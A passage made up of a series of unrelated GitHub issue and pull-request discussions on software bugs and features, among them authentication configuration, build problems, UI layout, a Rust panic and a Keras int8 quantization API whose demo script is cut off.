- name: iam-role-update-detected
  resource: iam-policy
  description: |

In addition using the iam-policy as resource also does not work with inline policy events like PutRolePolicy

Question/Ask:

Can we please add roleName as a possible id for iam-role resources? It is the only thing common in events like the ones I'm looking at not roldId.
If you point me in the right direction where that logic can be added I can take a crack at fixing this issue.

Thanks!

Is this planned on being updated soon? I feel like this falls more in the category of bug than enhancement since the current design does not allow full functionality.


The code configuration for web app calling web api does not work

I follow the documentation and put the following configuration to have my web app call my web API, but it did not work:
services.AddAuthentication(JwtBearerDefaults.AuthenticationScheme)
.AddMicrosoftIdentityWebApp(Configuration, "AzureAd")
.EnableTokenAcquisitionToCallDownstreamApi(new string[]{"user.read" })
.AddDownstreamWebApi("MyApi", Configuration.GetSection("GraphBeta"))
.AddInMemoryTokenCaches();
I received an error message: "InvalidOperationException: No authenticationScheme was specified, and there was no DefaultChallengeScheme found. The default schemes can be set using either AddAuthentication(string defaultScheme) or AddAuthentication(Action configureOptions)".
I am using Blazor server-side for my app.
Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: f81a334a-eccc-b862-1a45-e58d151b8621
Version Independent ID: cee85377-c930-2e20-715d-004e5431a92f
Content: Configure a web app that calls web APIs - Microsoft identity platform
Content Source: articles/active-directory/develop/scenario-web-app-call-api-app-configuration.md
Service: active-directory
Sub-service: develop
GitHub Login: @jmprieur
Microsoft Alias: jmprieur

Thanks @binhnguyen1984
you are right, this should be OpenIdConnectDefaults.AuthenticationScheme, not JwtBearerDefaults.AuthenticationScheme as it's a web app.
We'll fix this immediately

@jmprieur : Thank you very much. I now see that it is working with the fix.

@jmprieur : Now it seems impersonation does not work. I got the error when calling the downstream api:
MsalUiRequiredException: No account or login hint was passed to the AcquireTokenSilent call.
Microsoft.Identity.Client.AcquireTokenSilentParameterBuilder.Validate()
MicrosoftIdentityWebChallengeUserException: IDW10502: An MsalUiRequiredException was thrown due to a challenge for the user. See https://aka.ms/ms-id-web/ca_incremental-consent.

@binhnguyen1984, this is expected. See https://aka.ms/ms-id-web/ca_incremental-consent
you need to add the [AuthorizeForScopes(scopes=)] attribute on the MVC controller, or action, or
In general, we recommand that you start by the ASP.NET Core templates to avoid falling in each single issue
dotnet new webapp --auth SingleOrg --calls-graph

See also https://github.com/AzureAD/microsoft-identity-web/wiki/web-app-template

@jmprieur : As I mentioned in my question, I used this attribute but it did not help.

@binhnguyen1984 : .

Which scope did you use on the attribute?
where did you add this attribute?
do you try to use scopes which require admin consent? or would you be in an organization where the tenant admin have prevented users from consenting?
do you want to share some code? what's the detail message of the MsalUiRequiredException (inner exception)?

Otherwise: do you want to try from a fresh solution from an ASP.NET Core template and compare with what you have? that should help you?

@jmprieur : I use the scope that is needed for accessing the downstream api. I put this attribute before the controller. And this scope does not require admin consent. The inner exception is "No account or login hint was passed to the AcquireTokenSilent call".
Here is the trace:
at Microsoft.Identity.Client.AcquireTokenSilentParameterBuilder.Validate()
at Microsoft.Identity.Client.AbstractAcquireTokenParameterBuilder1.ValidateAndCalculateApiId()    at Microsoft.Identity.Client.AbstractClientAppBaseAcquireTokenParameterBuilder1.ExecuteAsync(CancellationToken cancellationToken)
at Microsoft.Identity.Client.AbstractAcquireTokenParameterBuilder1.ExecuteAsync()    at Microsoft.Identity.Web.TokenAcquisition.GetAuthenticationResultForWebAppWithAccountFromCacheAsync(IConfidentialClientApplication application, IAccount account, IEnumerable1 scopes, String authority, String userFlow, TokenAcquisitionOptions tokenAcquisitionOptions)
at Microsoft.Identity.Web.TokenAcquisition.GetAuthenticationResultForWebAppWithAccountFromCacheAsync(IConfidentialClientApplication application, ClaimsPrincipal claimsPrincipal, IEnumerable1 scopes, String authority, String userFlow, TokenAcquisitionOptions tokenAcquisitionOptions)    at Microsoft.Identity.Web.TokenAcquisition.GetAuthenticationResultForUserAsync(IEnumerable1 scopes, String tenant, String userFlow, ClaimsPrincipal user, TokenAcquisitionOptions tokenAcquisitionOptions)
The code in the controller is like this:
[AuthorizeForScopes(ScopeKeySection = "Settings:ApiAccessScope")]
public class ProjectController : ControllerBase
{
public ProjectController() : base(dbHandler)
{
}
    [HttpGet]
    public Task<Result> LoadProjects()
    {
        return dbHandler.GetProjects();
    }

}
and the code that calls the downstream api is:
protected override async Task SendAsync(HttpRequestMessage request, CancellationToken cancellationToken)
{
// request the access token
var accessToken = await _tokenAcquisition.GetAccessTokenForUserAsync(_apiSettings.ApiAccessScope).ConfigureAwait(false);
            // set the bearer token to the outgoing request
        request.SetBearerToken(accessToken);
        return await base.SendAsync(request, cancellationToken).ConfigureAwait(false);
    }

}


Title covered by status bar

I'm building the about screen with:
aboutBuilder = new LibsBuilder()
  .withFields( "define_zehut_yosef", "define_zmanim", "define_kosherjava", "define_materialdrawer", "define_AboutLibraries" )
  .withAutoDetect( false )
  .withAboutAppName( context.getString( R.string.app_name ) )
  .withAboutDescription( description )
  .withAboutVersionShownCode( false )
  .withActivityTheme( R.style.EliPurple )
  .withActivityTitle( context.getString( R.string.action_about_title ) )
  .withLibraryComparator( libraryComparator );
aboutBuilder.show( context );

What I'm getting is the title partially obscured by the system status bar:

Clearly, I'm doing something wrong, but cannot figure out what. I would appreciate any pointers.
Thanks!

@jgindin I assume your theme has a translucent StatusBar You might want to use a default AboutLibraries theme and just alter the primaryColor

See the following for the default themes.
https://github.com/mikepenz/AboutLibraries/blob/develop/library/src/main/res/values/styles.xml

Thanks! All taken care of!


React-Demo Can't resolve 'sequential-workflow-designer' and 'sequential-workflow-designer-react'

I  was trying out the react-demo.
Cloned repo
yarn insall
yarn run
but encoutred this when running.

It seems package is not being installed .

Yes, Sorry i couldn't complete my question.

The problem appears because you have cloned the whole repo and the demo is inside the yarn workspace. You need build all packages in the workspace. So go to the root directory:
yarn install
yarn build

After this you can go to the react demo project and call yarn start.

Yes, you should take out the react-app folder from the yarn workspace.

Great. Thanks


fixing fsdrift hostpath cr

following #299 which increased the duration for normal test

/rerun all

Results for crc_jjb
No tests to run

Results for crc_jjb

Test
Result
Retries
Duration (HH:MM:SS)

test_backpack
Pass
0
00:01:35

test_byowl
Pass
0
00:01:31

test_fiod
Pass
0
00:00:02

test_fs_drift
Pass
0
00:05:24

test_hammerdb
Pass
0
00:04:41

test_iperf3
Pass
0
00:04:03

test_pgbench
Pass
0
00:02:15

test_smallfile
Pass
0
00:06:20

test_sysbench
Pass
0
00:02:23

test_uperf
Pass
0
00:17:10

test_ycsb
Pass
0
00:02:54


Source generated files are added to compilation with SHA1 algorithm

Actual behavior
We are utilizing https://github.com/microsoft/binskim to ensure that we are shipping secure binaries, and one of the issues it flagged is that our binaries are not using SHA256 hashing for source matching to PDBs.  We added the SHA256 tag to our csproj but we were still failing this analysis step.
Upon further examination using pdb2xml, the CsWin32 generated files are using the insecure SHA1 hashing algorithm:
<file id="1" name="...\Microsoft.Windows.CsWin32\Microsoft.Windows.CsWin32.SourceGenerator\Windows.Win32.DeleteObjectSafeHandle.g.cs" language="C#" checksumAlgorithm="SHA1" checksum="EF-A7-39-E2-E1-3B-98-7C-9B-67-8B-52-4E-D9-AB-25-2D-EB-B2-C2" hasEmbeddedSource="true" />
Expected behavior
Generated files should utilize the project's defined ChecksumAlgorithm.
Repro steps

NativeMethods.txt content:

<any api>

Add SHA256 to csproj configuration properties.

Context

CsWin32 version: 0.3.49-beta
Win32Metadata version (if explicitly set by project): Not explicitly set
Target Framework: net8.0-windows
LangVersion : Not explicitly set

Thanks for reporting. My team uses binskim too in combination with CsWin32, and this hasn't come up.
What's more, CsWin32 doesn't invoke any hash algorithm at all (unless you specifically ask for an API that represents it). The DeleteObjectSafeHandle class (which is what would presumably be in the file the xml fragment you shared had the path to) certainly doesn't invoke any hashing. I suspect this is rather an issue with how the C# compiler adds source generated files into the pdb, which is outside the scope of CsWin32.
@jasonmalinowski, what do you think?

I was looking at a similar issue in XAML, and it looks like they solved this by injecting "#pragma checksum" with the correct checksum algorithm in the generated code file.

It looks like this is https://github.com/dotnet/roslyn/issues/63039. @chsienki any thoughts here?

Huh yeah, looks like the same thing. No workarounds unfortunately, we just need to fix the bug.

Thanks. I'll close here since it sounds like it isn't a CsWin32 bug.


Fix issue preventing uri-referenced Kubernetes components from being gathered for deletion

What type of PR is this:
/kind bug
What does this PR do / why we need it:
This fixes the issue reported in #5637 , where running odo delete component using a Devfile with uri-referenced Kubernetes component would not pass, with the following error:
Failed to gather resources for deletion: open /path/to/devfile.yaml/kubernetes-manifest-uri.yaml: not a directory

This issue actually affected any commands calling DeleteComponentClient#ListResourcesToDeleteFromDevfile, which also includes the logic for cleaning up resources when exiting odo dev.
Which issue(s) this PR fixes:
Fixes #5637
PR acceptance criteria:

[x] Unit test

[x] Integration test

[ ] Documentation

How to test changes / Special notes to the reviewer:
Refer to the reproduction steps depicted in the original issue for testing this: #5637

Could you restart the tests? I cannot see the logs for the OpenShift failing tests

Could you restart the tests? I cannot see the logs for the OpenShift failing tests

Done - let's see how it goes now.

/lgtm
/approve


Make Fully Private EKS

https://aws-ia.github.io/terraform-aws-eks-blueprints/patterns/fully-private-cluster/
https://aws.github.io/aws-eks-best-practices/networking/subnets/

https://docs.aws.amazon.com/eks/latest/best-practices/introduction.html


soffice.exe (Libreoffice) started but having 500 Internal Error

Hi,
Winappdriver starts the Libreoffice soffice.exe but gives 500 Internal Error.
{"desiredCapabilities": {"platformName": "Windows", "deviceName": "Windows", "app": "C:\Program Files\LibreOffice\program\soffice.exe"}}
HTTP/1.1 500 Internal Error
Content-Length: 188
Content-Type: application/json
{"status":13,"value":{"error":"unknown error","message":"Failed to locate opened application window with appId: C:\Program Files\LibreOffice\program\soffice.exe, and processId: 1700"}}

It has a splash screen, you need to create a desktop session and then switch to the opened window. Read wiki.

thank you Anunay1!
Ill read and follow the guide.
but i'll ask:  isnt it a problem to have error message in winappdriver screen?
Best Regards,
Robert


encoding pedal lines

I'd like to improve and expand the pedal section in chapter 04. But I'm not quite shure how to encode piano pedal lines. AFAICS there are different possibilities (refers to https://github.com/music-encoding/music-encoding/issues/305).
Should the recommended (the simplest) way be <pedal tstamp="1" tstamp2="4" form="line" />?

@rettinghaus Is this now clearer since https://github.com/music-encoding/music-encoding/pull/1003 has been merged? Can the issue here be closed then?


pasting using Windows' builtin clipboard manager (windows+v) doesn't work

Environment
Windows build number: Microsoft Windows [Version 10.0.18363.900]
Windows Terminal version (if applicable): 1.0.1402.0

Steps to reproduce
Copy something in the buffer. Copy something else (so that you have two or more things in the buffer). Use Win+V to paste. The pop up window will appear for pasting something else than the last copy.
Expected behavior
I expect what I selected to be pasted.
Actual behavior
I see ^V printed on the console if I'm in a cmd.exe tab, and nothing if i'm in WSL.

Clipboard History works by synthesizing a Ctrl+V event. If you do not have Ctrl+V bound to paste (which is now in the user default settings as of v1.0, you will get the traditional terminal treatment of sending 0x16, the control character for ^V.

excellent, thank you! It works. I carried an older settings than the v1.0.


Optimize UI for vertical space on desktops / landscape

Currently almost 20% of vertical space is taken by navigation and decoration that would ideally, on a desktop / landscape layout, be instead filled by the actual board. Screenshots and mock at the end of the post.
Also, an option to hide the board coordinates would save some space as well and allow for larger boards. I don't mind pitching in to address these items, but would like your guidance on how you'd prefer it implemented and if these kinds of changes would be accepted in the first place. I assume some kind of "full window" toggle button would be preferable
Thanks!

I agree in principle about maximizing board size, but any implementation has to balance that with usability and aesthetics.
There's an issue for adding board view options: https://github.com/jkk/shinkgs/issues/95. Full screen mode and coordinate toggle are both definitely features I'd welcome.
For the default view, not crazy about moving the top-level nav. Moving the slider and prev/next nav to the sidebar may be possible. There may also be a way to present the back button and more menu more compactly. I tried some variations of that before but didn't find a great solution.
Open to considering layout revisions to the default but the devil is in the details and I can't promise an easy path to getting merged 🙂

One approach to changing the layout:

Unfortunately this may require some non-trivial refactoring, since the nav is currently somewhat coupled to the board. This is motivation to fix that sooner rather than later.

The other thing that I think would help is going with a vertical nav on the left side instead of a horizontal top bar (again better for desktop/landscape view only).
Similar to how its done here, but it could still have labels under the icons:

Maybe. Can't say I'm a fan of that style of navigation. It's fairly uncommon on the web, and implementing it in a way that works responsively is not a small amount of work. But still open to considering revisions if the details are fleshed out.

Certainly its preference, though I would argue the vertical nav is fairly common in mobile apps and most 'admin' interfaces on the web. There's obviously a difference between document-based site navigation (ie. a blog, for example) and web app navigation. The navigation for this app is so simple I think it could pretty easily be moved to a sidebar or have a collapsible option.
For me, minimizing eye strain when playing go on a computer is a major priority. This is why I prefer to view as large of a board as possible. A real go board is roughly 18x18". On a 16:9 monitor it takes a pretty large screen to get even half of that in vertical space. The board is the most important element of a go playing interface, so finding ways to minimize the other on-screen elements during gameplay helps with that.
Regardless, really like work you've done so far.

Agreed. My preference is to make the UI intuitive and discoverable, favoring new and casual players over power users, with carefully-considered options as needed.
A full-screen mode is one relatively easy way to accomplish the "max board size" goal. I do want to make improvements to the default view - that just might take more time and thought. Leaning towards moving the slider nav to the side at the very least.

Awesome, well let me know if you get to a point where you've decided how you want to move forward and  want help implementing some of it. Happy to pitch in when I can.

Playing with desktop layout ideas based on your suggestion...

Nice, I like where thats heading

Pushed some changes that are a first step in this direction, minus the side nav, which I'm still on the fence about.

Nice, thats a good improvement! That top nav still bugs me, personally. If the padding was smaller or there was a way to collapse/hide it, that'd keep the nav horizontal but still allow the screen space to be reclaimed.

Nice progress on this project, its very nice! Would you like me to add a hide/expand nav button?

Another option could be to add a fullscreen button, and use the :fullscreen css selector to remove nav elements in fullscreen only

Quick example:
Unfortunately currently the API is prefixed, but pretty easy to work around. Use mozRequestFullScreen() on firefox, webkitRequestFullscreen() for chrome, msRequestFullscreen() for IE/edge. Whats very nice is that almost no other changes are needed for this to work. After entering fullscreen, clicking 'back' or any other navigation will take the site out of fullscreen and resume normal functionality.
JS:
document.querySelector('.GameScreen').webkitRequestFullscreen();
document.addEventListener("fullscreenerror", function( event ) {
  alert('You need to grant fullscreen permission to enable this button.');
}

CSS:
.GameScreen:fullscreen {
  top: 0px;
}


feature: add dark mode checkbox (part 2/2) of the following request

This pull request adds a check box to control the toggling of dark mode feature
https://github.com/cerner/cucumber-forge-desktop/pull/58/

I see. In that case, I'll close this PR and create another for cucumber-forge-desktop to add the toggle box to the setting.


problem with salary cap

When I run the simulation, I get lineups whose sum of player salaries exceeds the total of 50,000.
This is my code:
import os
os.chdir("C:/VM2/pydfs-lineup-optimizer-master")
from pydfs_lineup_optimizer import get_optimizer, Site, Sport, CSVLineupExporter
from pydfs_lineup_optimizer import *
optimizer = get_optimizer(Site.DRAFTKINGS_CAPTAIN_MODE, Sport.BASKETBALL)
os.chdir("C:/VM2/simulaciones")
optimizer.load_players_from_csv("data_showdown_NBA_2020-09-15_DEN-LAC.csv")
player = optimizer.get_player_by_name('Nikola Jokic')
optimizer.add_player_to_lineup(player)
optimizer.set_max_repeating_players(4)
exporter = CSVLineupExporter(optimizer.optimize(n=20,randomness=True))
exporter.export('lineups_showdown_NBA_09-15_DEN-LAC_overlap_4_n20_NikolaJokic.csv')
Thanks.

So, it looks like if you lock a player by name, it will be in the CPT slot, but the optimizer is using the FLEX salary. This is because the name for both players is the same. So, until this issue is resolved, you can use optimizer.get_player_by_id for this scenario because the CPT and FLEX player will have a different id.


fix(chat): fix attachments type font size (Issue #2250)

Description:
Need to change attachments type font size from 12px to 14px
Issues:

Issue #2250

Checklist:

[x] the pull request name complies with Conventional Commits
[x] the pull request name starts with fix(<scope>):, feat(<scope>):, feature(<scope>):, chore(<scope>):, hotfix(<scope>): or e2e(<scope>):. If contains breaking changes then the pull request name must start with fix(<scope>)!:, feat(<scope>)!:, feature(<scope>)!:, chore(<scope>)!:, hotfix(<scope>)!: or e2e(<scope>)!: where <scope> is name of affected project: chat, chat-e2e, overlay, shared, sandbox-overlay, etc.
[x] the pull request name ends with (Issue #<TICKET_ID>) (comma-separated list of issues)
[x] I confirm that do not share any confidential information like API keys or any other secrets and private URLs

/deploy-review


Fix two AVs with InProcess

Calling hostfxr_get_native_search_directories multiple times was causing an AV in hostpolicy parsing arguments.
Closing the IIS Express window forcibly caused an AV. To fix it, I check for process detach in the request handler to not call into managed.

There was also some duplicated calls to parsing arguments.
@jhkimnew  I have done my best to verify that multiple request don't trigger an AV. Can you verify this behavior.

@jkotalik I sent a mail with the repro steps.

@jhkimnew and I talked offline and we didn't see the issue reoccurring after this fix. @pan-wang can you do one final pass through as it has changed a bit due to rebasing?


Fix teleport to match current shell and update stage to not move during teleport

Fixes #843.
Use MotionControllerTest.unity to test.

Hey @keveleigh - When I tested this with my Xbox One S Bluetooth Controller, It seems like my left stick Y axis is backwards.  For example, when I pressed it down/back, it teleported, and when pressing up/forward, it moved me backwards.
I checked my Input settings in Unity and my mappings are not inverted at all.
Can you verify?  This was using the test scene you mentioned.

When testing this out without a HMD connected the editor crashes for me in b10

@jessemcculloch Ahh interesting, I'm seeing that too! I could have sworn it was right when I tested it...I'm not sure what could be causing that.
@StephenHodgson Hmm, I know there have been some OS-level changes recently that cause weirdness depending on the Unity & Windows combination you're using. I'm not sure if those changes/fixes have reached the public branches yet. Are you on 16288?

Are you on 16288?

I am, is that no bueno?

I don't believe the changes are there, though 16288 is the latest public. I'm on a different update path, so I think the changes haven't made their way up yet.
I believe the crash has to do with accessing InteractionManager. Does it still crash if you get rid of any lines that do?

The Unity input mappings are correct.  Not sure what is going on there.
I am also seeing the crash when there is no headset connected, but it works fine when connected

It could  be that we're accidentally flipping the input by the way we're doing the math.

So, the crash when hitting play while no headset is connected has something to do with the Fade Script.  Still trying to narrow it down past that.

I'm unable to repro your experience with the fade script. I've removed it from several scenes and still see a crash. From my experience, I believe it has to do with accessing the InteractionManager.
I'm able to repro it by:

Create a new scene.
Hit play. Doesn't crash.
Create a new script. Only add an event handler for some event on InteractionManager:

Put that script somewhere in the scene.
Hit play. Crashes.

Interesting stack for the crash:

Unity.exe!SpatialInputImpl::SetEventHandlerAndAttach(void (*)(struct SourceEventType,struct SourceState,struct SourcePressType))	Unknown	Symbols loaded.
0000000017640925()	Unknown	No symbols loaded.
0000000017640680()	Unknown	No symbols loaded.
000000004acb2110()	Unknown	No symbols loaded.
0000000002bf0c00()	Unknown	No symbols loaded.
000000005c77ace8()	Unknown	No symbols loaded.
00000000005fcff0()	Unknown	No symbols loaded.
0000000017640680()	Unknown	No symbols loaded.
000000002a840000()	Unknown	No symbols loaded.
00000000005fd600()	Unknown	No symbols loaded.
0000000042f87db0()	Unknown	No symbols loaded.
000000000000000e()	Unknown	No symbols loaded.
000000001764046c()	Unknown	No symbols loaded.
000000004acb2110()	Unknown	No symbols loaded.
00000000005fcfb0()	Unknown	No symbols loaded.
00000000005fcf10()	Unknown	No symbols loaded.
00000000005fd318()	Unknown	No symbols loaded.
0000000042df6aa0()	Unknown	No symbols loaded.

Looks like Unity inverts the vertical axis by default:

I've added the inversion to the two ControllerStickY axes we added.

@darax I think the crashing bug is to do with Unity, possibly also related to whether a boundary is setup or not (or if MR portal isn't running).  logged #988 to track.

OK, two observations:
1: Project will crash when run from the editor if the Platform is NOT set to UWP :D Could probably do with an editor script to check the editor platform runtime on play
2: Using the Original Xbox One controller through wireless doesn't work.  No input from controller at all.
Sadly, don't have controllers yet so can't test those.
@keveleigh could you add a third column to the Debug view to also show the Xbox Controller debug status in this PR?  Or should it be separate?

@DDReaper For point 2, are you referring to using one of these? I've tested the scene with a Bluetooth controller, and it works. Unfortunately, I don't have one of those adapters.
Yeah, I'll look into adding the Xbox debug status as well, though it might be worth waiting for master, since @StephenHodgson added the new Xbox work there.

@DDReaper, yeah I'm working on a different test scene for the Xbox implementation, although maybe when I get it into the dev branch, we can merge those test scenes.

Finally got this to run after making sure I launch and run in the right order haha.

Right, after a LOT of testing, this needs merging now as it fixes a whole load of issues @StephenHodgson
He current Dev branch doesn't work as the MR camera is floating above the scene and the ground is off.  Also Xbox controller functions don't work.
This fixes all those issues and re-enables the Xbox controller to work properly.

@keveleigh - Getting lots of thanks over in the HoloDevelopers Slack for this pull request, so I am passing them along to you 💯 🥇

@jessemcculloch Thanks for letting me know! Happy to hear that!!

+10 from me. Makes the project work properly for immersive now. Keep up the great work @keveleigh


Moving in with moveit?

Hey @shaun-edwards,
You just pointed at this package from ros-answers, so I had a look.
It is a great idea to create a ``small brother'' of the move_group node, that can be instantiated/controlled in a C++ context without ROS interaction!
The MoveGroup action outgrew the simple industrial use-case quite some time ago and this would remove complexity for some applications quite a lot.
What do you think about integrating this into the MoveIt repository in kinetic?
That would probably give it a bit more users and because we bump sonames in every release of kinetic, you don't have to consider ABI breakage. :)
I do understand that quite a bit of intended functionality is missing here at the moment.

@v4hn, I'm honored by your request.  I've approach @davetcoleman about this as well.  He's given me some great feedback, here.
I've got some work to do before it's minimally functional.  My plan is to submit it for inclusion in MoveIt once that's done.  I am interested to get feedback as I develop, so it doesn't seem like I'm pushing it into MoveIt as take it or leave it.

I see, glad to hear this is being discussed. :)
I hope you find the time to incorporate the feedback and let's see how the module moves on.
Personally I would prefer to see such a project integrated early and continue developing from there - clearly not just move it over as ``take it or leave it''. But that's your choice, and I don't know what the other devs think about that. :)
Feel free to ping me if you need more feedback (although apparently you have plenty :) )
I'll close this issue for now.


create new project gui

I wrote a program to implement a program similar to Visual Studio to create a project
😐Currently only webapi support is available，other templates can only be created with the default configuration
it like:

⚠note:
if you run npm run build
must change dist/index.html to
src="/assets/index.bad32aa1.js"  ->  src="assets/index.bad32aa1.js"
href="/assets/index.872c8afe.css"  ->  href="assets/index.872c8afe.css"

@LesanOuO can you please implement this?
https://github.com/fernandoescolar/vscode-solution-explorer/issues/225

I would like to implement it using the Webview UI Toolkit for Visual Studio Code...

I would like to implement it using the Webview UI Toolkit for Visual Studio Code...

excellent idea!!!


Panics when using filter functionality

$ RUST_BACKTRACE=1 hunter
thread 'main' panicked at 'called `Option::unwrap()` on a `None` value', src/listview.rs:383:9
stack backtrace:
   0: backtrace::backtrace::libunwind::trace
             at /cargo/registry/src/github.com-1ecc6299db9ec823/backtrace-0.3.44/src/backtrace/libunwind.rs:86
   1: backtrace::backtrace::trace_unsynchronized
             at /cargo/registry/src/github.com-1ecc6299db9ec823/backtrace-0.3.44/src/backtrace/mod.rs:66
   2: std::sys_common::backtrace::_print_fmt
             at src/libstd/sys_common/backtrace.rs:78
   3: <std::sys_common::backtrace::_print::DisplayBacktrace as core::fmt::Display>::fmt
             at src/libstd/sys_common/backtrace.rs:59
   4: core::fmt::write
             at src/libcore/fmt/mod.rs:1053
   5: std::io::Write::write_fmt
             at src/libstd/io/mod.rs:1428
   6: std::sys_common::backtrace::_print
             at src/libstd/sys_common/backtrace.rs:62
   7: std::sys_common::backtrace::print
             at src/libstd/sys_common/backtrace.rs:49
   8: std::panicking::default_hook::{{closure}}
             at src/libstd/panicking.rs:204
   9: std::panicking::default_hook
             at src/libstd/panicking.rs:224
  10: hunter::die_gracefully::{{closure}}
  11: std::panicking::rust_panic_with_hook
             at src/libstd/panicking.rs:474
  12: rust_begin_unwind
             at src/libstd/panicking.rs:378
  13: core::panicking::panic_fmt
             at src/libcore/panicking.rs:85
  14: core::panicking::panic
             at src/libcore/panicking.rs:52
  15: hunter::listview::ListView<hunter::files::Files>::selected_file
  16: hunter::file_browser::FileBrowser::save_tab_settings
  17: hunter::widget::Widget::handle_input
  18: hunter::main
  19: std::rt::lang_start::{{closure}}
  20: main
  21: __libc_start_main
  22: _start
note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.

I also find the filter functionality quite confusing. If I filter for e.g. 4 files in a directory it will:

pop those 4 files at the top of the current list. It's unclear to me whether a filter is currently active and why those 4 files show up at the top
when I cycle through those files downwards the selection bar disappears, but apparently files are still cycled

Does that happen with current master? I'm currently reworking how files are loaded/stored (splay tree instead of vec), which almost halves loading  time because there is no need to sort (atm 1M files in ~350ms on my toaster....). This selected_file function has been giving me quite a headache for a long time in various ways and I'm actually rewriting/debugging it. That should get rid of the crash, too.

pop those 4 files at the top of the current list. It's unclear to me whether a filter is currently active and why those 4 files show up at the top

You mean there should be some kind of indicator thing that shows when a filter is active? That would be nice, indeed. Will work on that.

when I cycle through those files downwards the selection bar disappears, but apparently files are still cycled

Huh.. I'm not sure I ever tried cycling through files with the filter. There's also that problem with the //. That might be something I overlooked. I usually use it when I'm in a large/messy directory (~/) and want to find all the pdf files in it or something like that (with filter set to "pdf").
There are a lot of these small issues here and there. Some I'm aware of, some not. When I restarted development in December I was planning on fixing those things and polish hunter up. Instead I got into this optimization rabbit hole and ended up almost exclusively working on making hunter faster and faster. After the next update I'm done with that until the competition catches up and concentrate more on those rough edges. I'm probably just procrastinating, because that stuff is more on the boring side in comparison and unless someone actually complains about it I put it off ;)

Does that happen with current master?

Yes

You mean there should be some kind of indicator thing that shows when a filter is active? That would be nice, indeed. Will work on that.

Hard to explain. I'll show two screenshots:

This is quite confusing.

Huh.. I'm not sure I ever tried cycling through files with the filter.

Yes. When I hit enter, the filter is still active, then I use the arrow keys and at some point I can't even see at white file I'm at:

You can see the selector in the mid-column is gone.

I just installed master and it seems to work as expected now! Would still love to have a mode where filtering is default.


use kubeconfig instead of oc login for all the jobs

This commit enables us to run tests using the kubeconfig copied from the orchestration host instead of logging in as kubeadmin user.
nodevert smoke test -> https://mastern-jenkins-csb-openshift-qe.cloud.paas.psi.redhat.com/job/ATS-SCALE-CI-TEST/217/console
@chaitanyaenr

yeah, my old nemesis


Introduce dynamic int8 quantization API

This PR introduces dynamic int8 quantization API, following discussions with @fchollet
Highlights

Introduce specialized subclasses FloatDtypePolicy and QuantizedDtypePolicy
Move self.dtype_policy from Layer to Operation for dispatching the new quantized_call
Introduce keras.quantizers.*
Introduce quantize("int8") in keras.Model
Introduce quantize("int8") in keras.layers.Dense and keras.layers.EinsumDense

Notes
We want to reduce the memory footprint and enhance the inference speed for large model using int8 quantization.
Currently, we utilize post-training dynamic and symmetric quantization, a much easier technique compared to other quantization methods.
It's important that this simple quantization process works best for weights and activations that are centered at 0.
compute_dtype="float16" doesn't work well due to issues with underflow/overflow.
When encountering lora-enabled layers, the quantization process will firstly merge the lora weights before proceeding.
Note that compute_dtype in QuantizedDTypePolicy is inherited from FloatDTypePolicy. This is necessary because setting it to int8 would cause the autocasting to fail in the quantized layer.
Results on MNIST

model architecture

Dense or EinsumDense
BatchNormalization
ReLU

fine-tuning with enable_lora(rank=2)
inference time: batch size=1024

float: self.lora_enabled=True
int8: self.lora_enabled=False (merged)

backend
dtype_policy
layer
float acc.
int8 acc.
float inference time
int8 inference time
inference time ratio

tensorflow
float32
Dense
0.95990
0.96000
0.00395s
0.00198s
0.501

tensorflow
mixed_bfloat16
Dense
0.96110
0.96110
0.00265s
0.00200s
0.755

tensorflow
float32
EinsumDense
0.95950
0.95920
0.00384s
0.00188s
0.490

tensorflow
mixed_bfloat16
EinsumDense
0.95980
0.95970
0.00258s
0.00200s
0.775

jax
float32
Dense
0.96130
0.96160
0.00304s
0.00132s
0.434

jax
mixed_bfloat16
Dense
0.95290
0.95300
0.00177s
0.00133s
0.751

jax
float32
EinsumDense
0.96170
0.96160
0.00302s
0.00132s
0.437

jax
mixed_bfloat16
EinsumDense
0.95720
0.95680
0.00176s
0.00125s
0.710

torch
float32
Dense
0.96050
0.96070
0.00834s
0.01182s
1.417 (slower)

torch
float32
EinsumDense
0.96010
0.95990
0.00895s
0.01317s
1.472 (slower)

The slow inference in torch may be caused by additional casting and the eager mode.

The standalone demo script using new API:
# export KERAS_BACKEND=...
python3 demo.py --dtype-policy float32
python3 demo.py --dtype-policy float32 --use-einsum
python3 demo.py --dtype-policy mixed_bfloat16
python3 demo.py --dtype-policy mixed_bfloat16 --use-einsum

import argparse
import os
import time

import numpy as np

import keras
from keras import backend
from keras import dtype_policies
from keras import layers
from keras import models
from keras import ops
from keras import saving

def get_args():
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "--dtype-policy",
        default="float32",
        choices=["float32", "mixed_bfloat16"],
    )
    parser.add_argument("--use-einsum", action="store_true")
    return parser.parse_args()

def build_model(num_layers=32, units=1024, use_einsum=False):
    inputs = layers.Input([28, 28])
    x = layers.Flatten()(inputs)
    for _ in range(num_layers):
        if use_einsum:
            x = layers.EinsumDense("ab,bc->ac", output_shape=[units])(x)
        else:
            x = layers.Dense(units)(x)
        x = layers.BatchNormalization()(x)
        x = layers.ReLU()(x)
    outputs = layers.Dense(10, use_bias=True, activation="softmax")(x)
    model = models.Model(inputs, outputs)
    return model

def enable_lora(model):
    for layer in model.layers:
        if hasattr(layer, "enable_lora"):
            layer.enable_lora(2)

def benchmark(model, batch_size=1024, input_shape=(28, 28), iterations=200):
    def fn(x):
        return model(x, training=False)

    if backend.backend() == "tensorflow":
        import tensorflow as tf

        jit_fn = tf.function(fn, jit_compile=True)
    elif backend.backend() == "jax":
        import jax

        jit_fn = jax.jit(fn)
    elif backend.backend() == "torch":
        jit_fn = fn
    else:
        jit_fn = fn

    # warmup
    x = ops.ones([batch_size, *input_shape])
    for _ in range(10):
        _ = ops.convert_to_numpy(jit_fn(x))

    times = []
    for _ in range(iterations):
        t0 = time.time()
        _ = ops.convert_to_numpy(jit_fn(x))
        t1 = time.time()
        times.append(t1 - t0)
    avg_time = sum(times) / len(times)
    return avg_time

def main():
    args = get_args()

    # Set dtype policy
    dtype = args.dtype_policy
    dtype_policies.dtype_policy.set_dtype_policy(dtype)
    print(f"Global dtype policy: {dtype_policies.dtype_policy.dtype_policy()}")

    # Model / data parameters
    use_einsum = args.use_einsum
    num_classes = 10
    input_shape = (28, 28, 1)
    epochs = 1

    # Load the data and split it between train and test sets
    (x_train, y_train), (x_test, y_test) = keras.datasets.mnist.load_data()
    x_train = x_train.astype("float32") / 255
    x_test = x_test.astype("float32") / 255
